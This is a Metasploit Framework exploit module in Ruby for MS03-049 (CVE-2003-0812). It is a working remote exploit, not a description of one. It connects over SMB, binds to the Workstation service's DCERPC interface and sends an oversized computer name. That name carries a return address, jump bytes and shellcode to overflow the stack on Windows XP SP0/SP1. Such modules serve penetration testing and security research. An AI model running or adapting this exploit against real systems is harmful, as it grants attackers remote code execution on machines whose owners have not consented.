##
# $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
function using the Workstation service in Windows XP.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2003-0812' ],
[ 'OSVDB', '11461' ],
[ 'BID', '9011' ],
[ 'MSB', 'MS03-049' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows XP SP0/SP1',
{
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
}
],
],
'DisclosureDate' => 'Nov 11 2003'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle(
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
print_status("Building the stub data...")
name = rand_text_alphanumeric(5000)
name[3496, 4] = [target.ret].pack('V')
name[3492, 2] = "\xeb\x06"
name[3500, 5] = "\xe9" + [-3505].pack('V')
name[0, payload.encoded.length] = payload.encoded
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString(name) +
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(0) +
NDR.long(0)
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x1b, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end